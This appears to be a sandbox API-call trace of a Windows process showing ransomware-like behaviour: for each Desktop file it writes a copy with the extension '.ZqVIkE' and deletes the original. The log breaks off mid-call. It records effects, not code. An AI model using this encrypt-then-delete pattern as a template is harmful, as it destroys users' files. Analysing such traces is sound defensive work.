0x1b2708bc [0053.117] GetWindowLongPtrW (hWnd=0x7014c, nIndex=-16) returned 0x6c10000 [0053.129] RegisterClipboardFormatW (lpszFormat="WinFormsMouseEnter") returned 0xc199 [0053.130] RegisterClipboardFormatW (lpszFormat="WinFormsUnSubclass") returned 0xc19a [0053.130] CallWindowProcW (lpPrevWndFunc=0x7fff5d5d5090, hWnd=0x7014c, Msg=0x81, wParam=0x0, lParam=0x71e320) returned 0x1 [0053.131] CallWindowProcW (lpPrevWndFunc=0x7fff5d5d5090, hWnd=0x7014c, Msg=0x83, wParam=0x0, lParam=0x71e3d0) returned 0x0 [0053.343] CallWindowProcW (lpPrevWndFunc=0x7fff5d5d5090, hWnd=0x7014c, Msg=0x1, wParam=0x0, lParam=0x71e320) returned 0x0 [0053.343] GetClientRect (in: hWnd=0x7014c, lpRect=0x71dd40 | out: lpRect=0x71dd40) returned 1 [0053.343] GetWindowRect (in: hWnd=0x7014c, lpRect=0x71dd40 | out: lpRect=0x71dd40) returned 1 [0053.345] GetParent (hWnd=0x7014c) returned 0x0 [0053.348] OleInitialize (pvReserved=0x0) returned 0x80010106 [0053.349] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x71ee78 | out: lplpMessageFilter=0x71ee78*=0x0) returned 0x80004021 [0053.350] PeekMessageW (in: lpMsg=0x71ee10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x71ee10) returned 0 [0053.356] WriteFile (in: hFile=0x2ec, lpBuffer=0x268b7f8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x71ee28, lpOverlapped=0x0 | out: lpBuffer=0x268b7f8*, lpNumberOfBytesWritten=0x71ee28*=0x1000, lpOverlapped=0x0) returned 1 [0053.356] WriteFile (in: hFile=0x2ec, lpBuffer=0x26bd440*, nNumberOfBytesToWrite=0xd4d0, lpNumberOfBytesWritten=0x71ee88, lpOverlapped=0x0 | out: lpBuffer=0x26bd440*, lpNumberOfBytesWritten=0x71ee88*=0xd4d0, lpOverlapped=0x0) returned 1 [0053.357] ReadFile (in: hFile=0x330, lpBuffer=0x125a1968, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x71ee98, lpOverlapped=0x0 | out: lpBuffer=0x125a1968*, lpNumberOfBytesRead=0x71ee98*=0x0, lpOverlapped=0x0) returned 1 [0053.357] CloseHandle (hObject=0x330) returned 1 [0053.358] WriteFile (in: hFile=0x2ec, lpBuffer=0x268b7f8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x71ed58, lpOverlapped=0x0 | out: lpBuffer=0x268b7f8*, lpNumberOfBytesWritten=0x71ed58*=0x10, lpOverlapped=0x0) returned 1 [0053.358] CloseHandle (hObject=0x2ec) returned 1 [0053.360] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\5q0zODZ-LfMVxb3ilnOK.gif", nBufferLength=0x105, lpBuffer=0x71ea20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\5q0zODZ-LfMVxb3ilnOK.gif", lpFilePart=0x0) returned 0x30 [0053.361] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\5q0zODZ-LfMVxb3ilnOK.gif" (normalized: "c:\\users\\fd1hvy\\desktop\\5q0zodz-lfmvxb3ilnok.gif")) returned 1 [0053.363] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\7zeOs_9hXhC.xlsx.ZqVIkE", nBufferLength=0x105, lpBuffer=0x71e820, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\7zeOs_9hXhC.xlsx.ZqVIkE", lpFilePart=0x0) returned 0x2f [0053.363] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71ed40) returned 1 [0053.363] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\7zeOs_9hXhC.xlsx.ZqVIkE" (normalized: "c:\\users\\fd1hvy\\desktop\\7zeos_9hxhc.xlsx.zqvike"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x2ec [0053.363] GetFileType (hFile=0x2ec) returned 0x1 [0053.363] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ecb0) returned 1 [0053.363] GetFileType (hFile=0x2ec) returned 0x1 [0054.083] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\7zeOs_9hXhC.xlsx", nBufferLength=0x105, lpBuffer=0x71e820, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\7zeOs_9hXhC.xlsx", lpFilePart=0x0) returned 0x28 [0054.083] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71ed40) returned 1 [0054.083] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\7zeOs_9hXhC.xlsx" (normalized: "c:\\users\\fd1hvy\\desktop\\7zeos_9hxhc.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x340 [0054.084] GetFileType (hFile=0x340) returned 0x1 [0054.084] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ecb0) returned 1 [0054.084] GetFileType (hFile=0x340) returned 0x1 [0054.085] ReadFile (in: hFile=0x340, lpBuffer=0x126a19a0, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x71ee98, lpOverlapped=0x0 | out: lpBuffer=0x126a19a0*, lpNumberOfBytesRead=0x71ee98*=0x50f9, lpOverlapped=0x0) returned 1 [0054.093] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x71ee78 | out: lplpMessageFilter=0x71ee78*=0x0) returned 0x80004021 [0054.093] PeekMessageW (in: lpMsg=0x71ee10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x71ee10) returned 0 [0054.096] WriteFile (in: hFile=0x2ec, lpBuffer=0x2721840*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x71ee28, lpOverlapped=0x0 | out: lpBuffer=0x2721840*, lpNumberOfBytesWritten=0x71ee28*=0x1000, lpOverlapped=0x0) returned 1 [0054.097] WriteFile (in: hFile=0x2ec, lpBuffer=0x27242a8*, nNumberOfBytesToWrite=0x4110, lpNumberOfBytesWritten=0x71ee88, lpOverlapped=0x0 | out: lpBuffer=0x27242a8*, lpNumberOfBytesWritten=0x71ee88*=0x4110, lpOverlapped=0x0) returned 1 [0054.097] ReadFile (in: hFile=0x340, lpBuffer=0x126a19a0, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x71ee98, lpOverlapped=0x0 | out: lpBuffer=0x126a19a0*, lpNumberOfBytesRead=0x71ee98*=0x0, lpOverlapped=0x0) returned 1 [0054.097] CloseHandle (hObject=0x340) returned 1 [0054.097] WriteFile (in: hFile=0x2ec, lpBuffer=0x2721840*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x71ed58, lpOverlapped=0x0 | out: lpBuffer=0x2721840*, lpNumberOfBytesWritten=0x71ed58*=0x10, lpOverlapped=0x0) returned 1 [0054.097] CloseHandle (hObject=0x2ec) returned 1 [0054.101] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\7zeOs_9hXhC.xlsx", nBufferLength=0x105, lpBuffer=0x71ea20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\7zeOs_9hXhC.xlsx", lpFilePart=0x0) returned 0x28 [0054.101] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\7zeOs_9hXhC.xlsx" (normalized: "c:\\users\\fd1hvy\\desktop\\7zeos_9hxhc.xlsx")) returned 1 [0054.104] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\A02Z nq-WGU.wav.ZqVIkE", nBufferLength=0x105, lpBuffer=0x71e820, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\A02Z nq-WGU.wav.ZqVIkE", lpFilePart=0x0) returned 0x2e [0054.104] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71ed40) returned 1 [0054.104] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\A02Z nq-WGU.wav.ZqVIkE" (normalized: "c:\\users\\fd1hvy\\desktop\\a02z nq-wgu.wav.zqvike"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x2ec [0054.106] GetFileType (hFile=0x2ec) returned 0x1 [0054.106] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ecb0) returned 1 [0054.106] GetFileType (hFile=0x2ec) returned 0x1 [0055.318] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\A02Z nq-WGU.wav", nBufferLength=0x105, lpBuffer=0x71e820, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\A02Z nq-WGU.wav", lpFilePart=0x0) returned 0x27 [0055.318] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71ed40) returned 1 [0055.318] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\A02Z nq-WGU.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\a02z nq-wgu.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x340 [0055.318] GetFileType (hFile=0x340) returned 0x1 [0055.318] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ecb0) returned 1 [0055.318] GetFileType (hFile=0x340) returned 0x1 [0055.320] ReadFile (in: hFile=0x340, lpBuffer=0x127a19d8, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x71ee98, lpOverlapped=0x0 | out: lpBuffer=0x127a19d8*, lpNumberOfBytesRead=0x71ee98*=0x3878, lpOverlapped=0x0) returned 1 [0055.328] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x71ee78 | out: lplpMessageFilter=0x71ee78*=0x0) returned 0x80004021 [0055.328] PeekMessageW (in: lpMsg=0x71ee10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x71ee10) returned 0 [0055.331] WriteFile (in: hFile=0x2ec, lpBuffer=0x260d6a8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x71ee28, lpOverlapped=0x0 | out: lpBuffer=0x260d6a8*, lpNumberOfBytesWritten=0x71ee28*=0x1000, lpOverlapped=0x0) returned 1 [0055.332] WriteFile (in: hFile=0x2ec, lpBuffer=0x2610100*, nNumberOfBytesToWrite=0x2890, lpNumberOfBytesWritten=0x71ee88, lpOverlapped=0x0 | out: lpBuffer=0x2610100*, lpNumberOfBytesWritten=0x71ee88*=0x2890, lpOverlapped=0x0) returned 1 [0055.332] ReadFile (in: hFile=0x340, lpBuffer=0x127a19d8, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x71ee98, lpOverlapped=0x0 | out: lpBuffer=0x127a19d8*, lpNumberOfBytesRead=0x71ee98*=0x0, lpOverlapped=0x0) returned 1 [0055.332] CloseHandle (hObject=0x340) returned 1 [0055.332] WriteFile (in: hFile=0x2ec, lpBuffer=0x260d6a8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x71ed58, lpOverlapped=0x0 | out: lpBuffer=0x260d6a8*, lpNumberOfBytesWritten=0x71ed58*=0x10, lpOverlapped=0x0) returned 1 [0055.332] CloseHandle (hObject=0x2ec) returned 1 [0055.335] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\A02Z nq-WGU.wav", nBufferLength=0x105, lpBuffer=0x71ea20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\A02Z nq-WGU.wav", lpFilePart=0x0) returned 0x27 [0055.335] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\A02Z nq-WGU.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\a02z nq-wgu.wav")) returned 1 [0055.345] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\bNR9FioQRzT.bmp.ZqVIkE", nBufferLength=0x105, lpBuffer=0x71e820, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\bNR9FioQRzT.bmp.ZqVIkE", lpFilePart=0x0) returned 0x2e [0055.345] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71ed40) returned 1 [0055.345] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\bNR9FioQRzT.bmp.ZqVIkE" (normalized: "c:\\users\\fd1hvy\\desktop\\bnr9fioqrzt.bmp.zqvike"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x2ec [0055.349] GetFileType (hFile=0x2ec) returned 0x1 [0055.349] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ecb0) returned 1 [0055.349] GetFileType (hFile=0x2ec) returned 0x1 [0056.074] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\bNR9FioQRzT.bmp", nBufferLength=0x105, lpBuffer=0x71e820, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\bNR9FioQRzT.bmp", lpFilePart=0x0) returned 0x27 [0056.074] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71ed40) returned 1 [0056.074] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\bNR9FioQRzT.bmp" (normalized: "c:\\users\\fd1hvy\\desktop\\bnr9fioqrzt.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x340 [0056.074] GetFileType (hFile=0x340) returned 0x1 [0056.074] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ecb0) returned 1 [0056.074] GetFileType (hFile=0x340) returned 0x1 [0056.076] ReadFile (in: hFile=0x340, lpBuffer=0x125a1968, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x71ee98, lpOverlapped=0x0 | out: lpBuffer=0x125a1968*, lpNumberOfBytesRead=0x71ee98*=0x9091, lpOverlapped=0x0) returned 1 [0056.082] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x71ee78 | out: lplpMessageFilter=0x71ee78*=0x0) returned 0x80004021 [0056.082] PeekMessageW (in: lpMsg=0x71ee10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x71ee10) returned 0 [0056.086] WriteFile (in: hFile=0x2ec, lpBuffer=0x26f3af8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x71ee28, lpOverlapped=0x0 | out: lpBuffer=0x26f3af8*, lpNumberOfBytesWritten=0x71ee28*=0x1000, lpOverlapped=0x0) returned 1 [0056.087] WriteFile (in: hFile=0x2ec, lpBuffer=0x26f6550*, nNumberOfBytesToWrite=0x80b0, lpNumberOfBytesWritten=0x71ee88, lpOverlapped=0x0 | out: lpBuffer=0x26f6550*, lpNumberOfBytesWritten=0x71ee88*=0x80b0, lpOverlapped=0x0) returned 1 [0056.089] ReadFile (in: hFile=0x340, lpBuffer=0x125a1968, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x71ee98, lpOverlapped=0x0 | out: lpBuffer=0x125a1968*, lpNumberOfBytesRead=0x71ee98*=0x0, lpOverlapped=0x0) returned 1 [0056.089] CloseHandle (hObject=0x340) returned 1 [0056.090] WriteFile (in: hFile=0x2ec, lpBuffer=0x26f3af8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x71ed58, lpOverlapped=0x0 | out: lpBuffer=0x26f3af8*, lpNumberOfBytesWritten=0x71ed58*=0x10, lpOverlapped=0x0) returned 1 [0056.090] CloseHandle (hObject=0x2ec) returned 1 [0056.092] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\bNR9FioQRzT.bmp", nBufferLength=0x105, lpBuffer=0x71ea20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\bNR9FioQRzT.bmp", lpFilePart=0x0) returned 0x27 [0056.092] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\bNR9FioQRzT.bmp" (normalized: "c:\\users\\fd1hvy\\desktop\\bnr9fioqrzt.bmp")) returned 1 [0056.096] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\BS9yaJ_C6P.wav.ZqVIkE", nBufferLength=0x105, lpBuffer=0x71e820, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\BS9yaJ_C6P.wav.ZqVIkE", lpFilePart=0x0) returned 0x2d [0056.096] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71ed40) returned 1 [0056.097] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\BS9yaJ_C6P.wav.ZqVIkE" (normalized: "c:\\users\\fd1hvy\\desktop\\bs9yaj_c6p.wav.zqvike"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x2ec [0056.097] GetFileType (hFile=0x2ec) returned 0x1 [0056.097] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ecb0) returned 1 [0056.097] GetFileType (hFile=0x2ec) returned 0x1 [0057.140] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\BS9yaJ_C6P.wav", nBufferLength=0x105, lpBuffer=0x71e820, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\BS9yaJ_C6P.wav", lpFilePart=0x0) returned 0x26 [0057.140] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71ed40) returned 1 [0057.140] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\BS9yaJ_C6P.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\bs9yaj_c6p.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x340 [0057.141] GetFileType (hFile=0x340) returned 0x1 [0057.141] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ecb0) returned 1 [0057.141] GetFileType (hFile=0x340) returned 0x1 [0057.142] ReadFile (in: hFile=0x340, lpBuffer=0x126a19a0, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x71ee98, lpOverlapped=0x0 | out: lpBuffer=0x126a19a0*, lpNumberOfBytesRead=0x71ee98*=0x1363e, lpOverlapped=0x0) returned 1 [0057.150] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x71ee78 | out: lplpMessageFilter=0x71ee78*=0x0) returned 0x80004021 [0057.150] PeekMessageW (in: lpMsg=0x71ee10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x71ee10) returned 0 [0057.154] WriteFile (in: hFile=0x2ec, lpBuffer=0x25e4230*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x71ee28, lpOverlapped=0x0 | out: lpBuffer=0x25e4230*, lpNumberOfBytesWritten=0x71ee28*=0x1000, lpOverlapped=0x0) returned 1 [0057.155] WriteFile (in: hFile=0x2ec, lpBuffer=0x25e6c88*, nNumberOfBytesToWrite=0x12650, lpNumberOfBytesWritten=0x71ee88, lpOverlapped=0x0 | out: lpBuffer=0x25e6c88*, lpNumberOfBytesWritten=0x71ee88*=0x12650, lpOverlapped=0x0) returned 1 [0057.157] ReadFile (in: hFile=0x340, lpBuffer=0x126a19a0, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x71ee98, lpOverlapped=0x0 | out: lpBuffer=0x126a19a0*, lpNumberOfBytesRead=0x71ee98*=0x0, lpOverlapped=0x0) returned 1 [0057.157] CloseHandle (hObject=0x340) returned 1 [0057.157] WriteFile (in: hFile=0x2ec, lpBuffer=0x25e4230*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x71ed58, lpOverlapped=0x0 | out: lpBuffer=0x25e4230*, lpNumberOfBytesWritten=0x71ed58*=0x10, lpOverlapped=0x0) returned 1 [0057.157] CloseHandle (hObject=0x2ec) returned 1 [0057.163] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\BS9yaJ_C6P.wav", nBufferLength=0x105, lpBuffer=0x71ea20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\BS9yaJ_C6P.wav", lpFilePart=0x0) returned 0x26 [0057.163] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\BS9yaJ_C6P.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\bs9yaj_c6p.wav")) returned 1 [0057.177] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\DrYVi8B0NgFJ6uMAsmK.xlsx.ZqVIkE", nBufferLength=0x105, lpBuffer=0x71e820, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\DrYVi8B0NgFJ6uMAsmK.xlsx.ZqVIkE", lpFilePart=0x0) returned 0x37 [0057.177] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71ed40) returned 1 [0057.177] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\DrYVi8B0NgFJ6uMAsmK.xlsx.ZqVIkE" (normalized: "c:\\users\\fd1hvy\\desktop\\dryvi8b0ngfj6umasmk.xlsx.zqvike"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x2ec [0057.180] GetFileType (hFile=0x2ec) returned 0x1 [0057.180] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ecb0) returned 1 [0057.180] GetFileType (hFile=0x2ec) returned 0x1 [0057.975] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\DrYVi8B0NgFJ6uMAsmK.xlsx", nBufferLength=0x105, lpBuffer=0x71e820, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\DrYVi8B0NgFJ6uMAsmK.xlsx", lpFilePart=0x0) returned 0x30 [0057.975] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71ed40) returned 1 [0057.975] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\DrYVi8B0NgFJ6uMAsmK.xlsx" (normalized: "c:\\users\\fd1hvy\\desktop\\dryvi8b0ngfj6umasmk.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x340 [0057.975] GetFileType (hFile=0x340) returned 0x1 [0057.975] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ecb0) returned 1 [0057.975] GetFileType (hFile=0x340) returned 0x1 [0057.977] ReadFile (in: hFile=0x340, lpBuffer=0x127a19d8, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x71ee98, lpOverlapped=0x0 | out: lpBuffer=0x127a19d8*, lpNumberOfBytesRead=0x71ee98*=0x15c34, lpOverlapped=0x0) returned 1 [0057.984] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x71ee78 | out: lplpMessageFilter=0x71ee78*=0x0) returned 0x80004021 [0057.985] PeekMessageW (in: lpMsg=0x71ee10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x71ee10) returned 0 [0058.000] WriteFile (in: hFile=0x2ec, lpBuffer=0x25b9f08*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x71ee28, lpOverlapped=0x0 | out: lpBuffer=0x25b9f08*, lpNumberOfBytesWritten=0x71ee28*=0x1000, lpOverlapped=0x0) returned 1 [0058.001] WriteFile (in: hFile=0x2ec, lpBuffer=0x125a2948*, nNumberOfBytesToWrite=0x14c50, lpNumberOfBytesWritten=0x71ee88, lpOverlapped=0x0 | out: lpBuffer=0x125a2948*, lpNumberOfBytesWritten=0x71ee88*=0x14c50, lpOverlapped=0x0) returned 1 [0058.002] ReadFile (in: hFile=0x340, lpBuffer=0x127a19d8, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x71ee98, lpOverlapped=0x0 | out: lpBuffer=0x127a19d8*, lpNumberOfBytesRead=0x71ee98*=0x0, lpOverlapped=0x0) returned 1 [0058.002] CloseHandle (hObject=0x340) returned 1 [0058.002] WriteFile (in: hFile=0x2ec, lpBuffer=0x25b9f08*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x71ed58, lpOverlapped=0x0 | out: lpBuffer=0x25b9f08*, lpNumberOfBytesWritten=0x71ed58*=0x10, lpOverlapped=0x0) returned 1 [0058.002] CloseHandle (hObject=0x2ec) returned 1 [0058.004] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\DrYVi8B0NgFJ6uMAsmK.xlsx", nBufferLength=0x105, lpBuffer=0x71ea20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\DrYVi8B0NgFJ6uMAsmK.xlsx", lpFilePart=0x0) returned 0x30 [0058.004] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\DrYVi8B0NgFJ6uMAsmK.xlsx" (normalized: "c:\\users\\fd1hvy\\desktop\\dryvi8b0ngfj6umasmk.xlsx")) returned 1 [0058.006] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\e5QSGhL0KO.gif.ZqVIkE", nBufferLength=0x105, lpBuffer=0x71e820, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\e5QSGhL0KO.gif.ZqVIkE", lpFilePart=0x0) returned 0x2d [0058.006] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71ed40) returned 1 [0058.006] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\e5QSGhL0KO.gif.ZqVIkE" (normalized: "c:\\users\\fd1hvy\\desktop\\e5qsghl0ko.gif.zqvike"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x2ec [0058.006] GetFileType (hFile=0x2ec) returned 0x1 [0058.006] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ecb0) returned 1 [0058.006] GetFileType (hFile=0x2ec) returned 0x1 [0059.203] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\e5QSGhL0KO.gif", nBufferLength=0x105, lpBuffer=0x71e820, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\e5QSGhL0KO.gif", lpFilePart=0x0) returned 0x26 [0059.203] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71ed40) returned 1 [0059.203] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\e5QSGhL0KO.gif" (normalized: "c:\\users\\fd1hvy\\desktop\\e5qsghl0ko.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x340 [0059.203] GetFileType (hFile=0x340) returned 0x1 [0059.203] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ecb0) returned 1 [0059.203] GetFileType (hFile=0x340) returned 0x1 [0059.203] ReadFile (in: hFile=0x340, lpBuffer=0x125b75d0, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x71ee98, lpOverlapped=0x0 | out: lpBuffer=0x125b75d0*, lpNumberOfBytesRead=0x71ee98*=0x17542, lpOverlapped=0x0) returned 1 [0059.207] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x71ee78 | out: lplpMessageFilter=0x71ee78*=0x0) returned 0x80004021 [0059.207] PeekMessageW (in: lpMsg=0x71ee10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x71ee10) returned 0 [0059.212] WriteFile (in: hFile=0x2ec, lpBuffer=0x269fef8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x71ee28, lpOverlapped=0x0 | out: lpBuffer=0x269fef8*, lpNumberOfBytesWritten=0x71ee28*=0x1000, lpOverlapped=0x0) returned 1 [0059.213] WriteFile (in: hFile=0x2ec, lpBuffer=0x126b85e8*, nNumberOfBytesToWrite=0x16560, lpNumberOfBytesWritten=0x71ee88, lpOverlapped=0x0 | out: lpBuffer=0x126b85e8*, lpNumberOfBytesWritten=0x71ee88*=0x16560, 